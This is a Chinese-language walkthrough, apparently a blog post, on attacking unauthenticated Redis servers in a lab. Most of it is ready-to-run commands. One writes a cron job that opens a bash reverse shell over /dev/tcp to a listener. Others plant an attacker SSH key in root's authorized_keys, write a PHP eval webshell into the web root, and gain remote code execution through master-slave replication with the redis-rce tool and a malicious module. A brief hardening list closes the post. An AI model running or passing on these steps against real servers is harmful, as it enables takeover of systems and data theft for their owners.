Redis简介
Redis是一个功能强大且灵活的内存数据库,由于它在内存里面运行,因此它的查询速度相对于磁盘中运行的数据库更快,支持多种数据结构,并具备持久化、主从复制和分布式特性,广泛用于缓存、实时数据处理和消息队列等场景。
redis持久化机制
由于redis主要是在内存中数据存储数据,如果系统出现问题内存中的数据极有可能丢失,因此,redis提供 RDB(快照) 和 AOF(追加文件)两种机制,将内存中的数据持久化到磁盘,以防止数据丢失。机制具体的细节可以百度一下。
环境搭建
客户端(kali)和服务端都要安装,攻击机不用运行
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar -zxvf redis-2.8.17.tar.gz
cd redis-2.8.17
make
cd src (在src目录下启动,具体看你的配置)
启动服务 redis-server redis.conf (这两个并不是在同一级目录,redis.conf在上一级目录)
配置
打开redis.conf
文件(在src目录上一级)
1、bind 127.0.0.1
注释掉
2、修改protected-mode为no,关闭保护模式,允许远程连接redis服务,protected-mode是Redis3.2版本新增的安全配置项,开启后要求需要配置bind ip或者设置访问密码,关闭后是允许远程连接,我这里是2.x版本,不用改
一、未授权访问
根据版本需求,配置环境
服务端启动redis-server redis.conf
(根据自己实际情况调整命令)
攻击机连接
redis-cli -h 192.168.33.32
(我云服务器搭建的服务端)
1.利用计划任务反弹shell
攻击机开启nc监听
nc -lvnp 8888
连接redis后,执行命令
set shell "\n\n* * * * * bash -i>& /dev/tcp/192.168.33.32/8888 0>&1\n\n"
添加名为shell的key,\n为了换行,避免语法错误
设置路径
config set dir /var/spool/cron/
设置文件名
config set dbfilename xxxx
保存
save 等待连接即可
2、写入公钥登录ssh
kali生成公私钥
ssh-keygen -t rsa
输入文件名和密码
导出key
(echo -e "\n\n"; cat rrr.pub; echo -e "\n\n") > key.txt
导入
cat key.txt| redis-cli -h 192.168.22.33 -x set putsshkey
连接Redis服务器写入公钥
设置路径,root用户
config set dir /root/.ssh
设置文件名
config set dbfilename authorized_keys
保存
save
ssh连接服务器
ssh连接输入密码即可
ssh -i rrr root@192.168.43.33
(注意rrr所在的目录)
看一下服务器文件,和我们刚刚设置的一样
3、写入webshell(可用于windows)
和上面几个利用方式差不多
利用条件:1、知道网站绝对路径 2、能连上redis(无需root)
config set dir /var/www/html/
config set dbfilename webshell.php
set x "\n\n\n<?php @eval($_POST['cmd']);?>\n\n\n"
save
使用webshell管理工具即可
4、Redis主从复制RCE
Redis 提供了一种主从模式,其中一个实例作为主节点负责写入操作,而多个从节点作为备份只负责读取操作,借此实现读写分离,从而显著减轻流量压力。在全量复制过程中,如果攻击者能够构造一个恶意的 RDB 文件(例如,恶意的 exp.so
),那么从节点在恢复这个 RDB 文件时就会自动执行其中的恶意代码,从而可能导致远程代码执行。
影响版本在Reids 4.x~5.0.5
环境配置
下载wget http://download.redis.io/releases/redis-4.0.11.tar.gz
解压后得到一个文件夹,终端到这个目录下make
,然后将该文件夹复制三份
设置一个主,两个从,主要改端口和设置主从就行,第一个文件夹(redis-4.0.11)当主,改bind
和protected-mode
,第二个和第三个要改端口,和设置从模式
从模式redis两台机器配置
例如,在redis1/redis.conf
,中更改启动端口
设置模式
slaveof 127.0.0.1 6379
第二个redis2文件夹同理
主模式redis配置文件
在主模式的配置文件里面,将bind 127.0.0.1
修改成bind 0.0.0.0
将protected-mode yes
改为protected-mode no
设置完后启动即可
/src/redis-server redis.conf
根据所在目录分别启动这三个,先启动主模式的机器比较好
查看配置是否正确
./src/redis-cli -h 127.0.0.1
连接主模式机器
输入info replication
可以看到有两台机器
攻击
攻击机上生成恶意.so文件
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand/
make 编译
攻击机安装脚本
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./ 将恶意的.so文件放在当前目录
pip install -r requirements.txt 安装所需要的库
python redis-rce.py -r 靶机IP -p 6379 -L 攻击机IP -f module.so 运行exp
攻击机输入python redis-rce.py -r 192.168.127.171 -p 6379 -L 192.168.127.124 -f module.so
选择交互式shell还是反弹shell
修复
1、为redis设置复杂密码
2、开启 protected-mode
3、以普通账号启动redis服务
4、更改默认6379端口
5、监听指定主机
由于环境的原因(没搞个web服务),有的利用只是把命令敲上去了(其实不难),还有ssrf利用redis没写,具体可以参考这位师傅的文章,写的更全面一些